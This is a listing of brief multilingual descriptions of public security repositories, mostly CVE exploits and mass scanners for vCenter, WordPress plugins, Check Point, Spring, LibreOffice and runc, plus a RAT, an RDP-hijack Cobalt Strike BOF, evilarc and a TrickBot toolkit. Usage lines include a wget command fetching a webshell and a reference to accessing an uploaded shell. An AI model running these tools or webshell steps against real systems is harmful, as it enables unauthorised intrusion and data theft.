CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Works On VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔ VMware-VCSA-all-6.5.0-16613358 ✔ For vCenter6.7 U2+ vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+. Need test vCenter 6.5 LinuxVCSA/WindowWaiting For Test vCenter 6.7...

CVE-2020-16938

CVE-2020-16938 CVE-2020-16938 是一个漏洞，允许非特权用户对整个磁盘进行无限制的文件读取。该漏洞最初由我的朋友 Jonas 发现并报告。他的 PoC 可以在这里找到。 我的漏洞利用版本通过一系列 Windows API 调用来直接获取句柄，而无需使用 7zip。PoC 可以在 poc 文件夹中找到，该文件夹反映了我之前发布的推文。 简而言之，该漏洞允许你转储整个磁盘。转储文件本身可以使用 7zip 或任何其他支持 NTFS 的解析器打开。...

WP-CVE-2023-32243

WP-CVE-2023-32243 如何使用 1. 确保你已安装依赖： pip install requests 2. 使用目标列表文件运行脚本： python2 file.py ⚠️ 免责声明 本仓库的创建仅供安全研究和教育目的所用 。 更多免责声明，你可以在 Jenderal92 的主页上查看。你可以点击这里 !!!...

dotdotslash

dotdotslash An tool to help you search for Directory Traversal Vulnerabilities Benchmarks Platforms that I tested to validate tool efficiency: DVWA low/medium/high bWAPP low/medium/high Screenshots Instalation You can download the last version cloning this repository git clone...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE 及加载外部资源，由 @Icare1337 发现 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 漏洞利用 仅为在当前目录放置 web shell 的示例。 python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

CVE-2024-24919-Sniper

CVE-2024-24919-Sniper 概述 CVE-2024-24919 Sniper 是一个Python脚本，用于扫描Check Point安全网关信息泄露漏洞。该脚本可以执行单目标和批量扫描，利用多线程提高扫描速度。它支持多种命令行选项来指定目标和控制扫描行为。 功能 扫描并利用CVE-2024-24919漏洞 支持单目标和批量扫描 多线程扫描以提高性能 生成包含扫描结果的CSV报告 ANSI彩色编码输出，提高可读性 安装 前提条件 Python 3.6+ pip Python包安装程序 安装依赖 1. 克隆仓库 ： git clone...

CVE-2024-36527

CVE-2024-36527 PoC 和批量扫描器 概述 CVE-2024-36527 概念验证代码：puppeteer-renderer v.3.2.0 及更早版本存在目录遍历漏洞。攻击者可利用文件协议操纵 URL 参数，从服务器读取敏感信息。 本工具基于 Zac Wang 发布的安全公告，PoC 由 M Ali 创建。 使用方法 单目标扫描 扫描单个目标端点： python cve-2024-36527.py -u target 批量目标扫描 批量扫描多个目标： python cve-2024-36527.py -f targets.txt 安装 最低要求 Python 3.6...

outis

outis outisは、カスタムリモート管理ツール（RAT）またはそれに類するものです。MeterpreterやEmpre-Agentのようなものを想像してください。ただし、このツールの焦点は、エクスプロイトツールキット（エクスプロイトはありません）でも、ターゲットの永続的な管理でもありません。焦点は、サーバーとターゲットシステム間の通信、ファイル転送、ソケット共有、シェルの起動などを、さまざまな方法とプラットフォームを使用して行うことです。 名前について...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core批量检测脚本 声明：该脚本仅供于学习使用，禁止非法使用，如有恶意破坏、违法使用，与本人无关！！！ 用法： python3 CVE-2022-22965-POC.py url.txt 成功写入后访问shell http://192.168.0.101:8090/test.jsp 这里我只使用的shell为123，并没有使用木马，仅供于安全检测。...

bandiview-7.05-vuln-PoC

bandiview-7.05-vuln-PoC 此仓库包含通过模糊测试在 Bandiview 7.05 中发现的漏洞的 PoC CVE-2024-45870（JXR 文件解析拒绝服务漏洞） CVE-2024-45871（PSD 文件解析拒绝服务漏洞） CVE-2024-45872（PSD 文件解析栈缓冲区溢出） 详情 软件：BandiView 版本：v7.05（2024/7/15，BuildNo=26122） 致谢 JaeHo Cho @Jaecho6053 SongHyun Bae @bshyuunn JunSeo Bae @V0xe1 LeeDong Ha @GAP-dev...

evilarc

evilarc 用途 evilarc 允许你创建一个 zip 文件，其中包含在嵌入路径中带有目录遍历字符的文件。大多数商业 zip 程序（如 winzip 等）会阻止解压那些嵌入文件路径含有目录遍历字符的 zip 文件。然而，许多软件开发库并不包含同样的保护机制（例如 Java、PHP 等）。如果某个程序和/或库没有阻止目录遍历字符，那么 evilarc 就可以用来生成 zip 文件，一旦被解压，就会在目标系统上的任意位置放置一个文件。...

CVE-2024-20767

CVE-2024-20767 CVE-2024-20767 - Adobe ColdFusion 中存在权限控制不当漏洞，可导致任意文件系统读取 更多信息请参考 ma4ter 博客文章：Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析 受影响的产品和版本： 产品| 受影响版本 ---|--- ColdFusion 2023| Update 6 及更早版本 ColdFusion 2021| Update 12 及更早版本 CVSS 评分： 8.2 已遭主动利用： 是 补丁： 是 缓解措施： 否 实验室环境 你可以使用 Adobe 的免费试用版部署...

0-click-RCE-Exploit-for-CVE-2024-9932

CVE-2024-9932 / 0-Click RCE 漏洞利用 作者：Joshua Provoste https://x.com/JoshuaProvoste/status/1858329238153072668 此仓库包含针对 CVE-2024-9932 的概念验证利用代码，该漏洞是 Wux Blog Editor WordPress 插件中的一个未经身份验证的任意文件上传漏洞，可导致远程命令执行（RCE）。 脚本功能 该脚本利用一个易受攻击的 REST 端点，无需身份验证即可上传远程 PHP 负载。上传后，它会重构最终文件位置、检测目标操作系统，并提供用于命令执行的交互式远程...

CVE-2024-0757-Exploit

CVE-2024-0757 漏洞利用 描述 WordPress 的 Insert or Embed Articulate Content into WordPress 插件在 4.3000000023 及之前的所有版本中，由于对 zip 压缩包中的文件上传处理不安全，因此存在任意文件上传漏洞。这使得未经验证的攻击者能够在受影响站点的服务器上上传包含 phar 文件的 zip 文件，从而有可能实现远程代码执行。 !IMPORTANT CVSS: 8.8（高危） CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 软件类型: 插件 软件标识:...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 的 PoC 需要 Python3，已在 3.8 上测试 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional arguments:...

CVE-2022-30887

CVE-2022-30887 药店管理系统 1.0 Shell 上传 该应用由 Mayurik 构建 这个用PHP开发的药店管理系统项目旨在通过安全和管理来提高药店的准确性和效率。简而言之，它是一个产品库存应用。 发现药店管理系统v1.0存在远程代码执行（RCE）漏洞，漏洞组件为“/phpaction/editProductImage.php”。攻击者可以通过特制图片文件执行任意代码。 什么是文件包含攻击 文件上传漏洞通常是一种允许脚本运行的漏洞。当我们上传文件到服务器并在上传的文件上输入命令时，它就会起作用。文件上传漏洞分为两种类型： LFI （本地文件包含） RFI （远程文件包含）...

MalScan

MalScan MalScan は、Python で書かれたシンプルな PE ファイルヒューリスティックスキャナーです。PE ファイルをすばやく分析し、疑わしいものが存在するかどうかを調べるために使用できます。シンプルなツールなので、派手な機能はあまりありません。自由に拡張したり、好きなように使用したりできます。 サポートされている項目 MD5、SHA1、タイムスタンプなどのファイル情報 PEiD 署名チェック カスタム Yara ルールの統合 セクション、インポート、エクスポート、リソース、TLS コールバックの概要 カスタムヒューリスティックをいくつか提供します :- インストール...

RDPHijack-BOF

BOF - RDPHijack WinStationConnect APIを使用してローカル/リモートのRDPセッションハイジャックを行うCobalt Strike Beacon Object File BOFです。有効なアクセストークン/ケルベロスチケット（例：ゴールデンチケット）をセッション所有者から取得すれば、ターゲットサーバーにビーコンやツールを配置することなく、リモートでセッションをハイジャックできます。 セッションをローカル/リモートで列挙するには、Quser-BOF を使用できます。 スクリーンショット 使用方法 Usage: bof-rdphijack your...

cve-2024-21626-runc-1.1.11-escape

CVE-2024-21626 - runc Leaky Vessels Resumen Campo| Detalle ---|--- CVE| CVE-2024-21626 Componente afectado| runc ≤ 1.1.11 Clase de vulnerabilidad| Escape de contenedor mediante fuga de descriptor de archivo Apodo| Leaky Vessels Causa raíz runc filtra un descriptor de archivo interno típicamente...

TrickBot-Toolkit

TrickBot 用于处理 TrickBot 的一系列工具 ConfigDecrypter.py 用于解密 TrickBot 配置（位于安装目录下，名为 config.conf） 用法示例：ConfigDecrypter.py -input config.conf -output config.txt FileDownloader.py 用于从命令与控制（C2）服务器下载文件 要使其正常工作，你需要在 servers.txt 中填写一份近期服务器列表（TrickBot 服务器生命周期极短） -o --output 指定保存到的文件。 -f --file 指定要下载的文件，以下是可用文件列...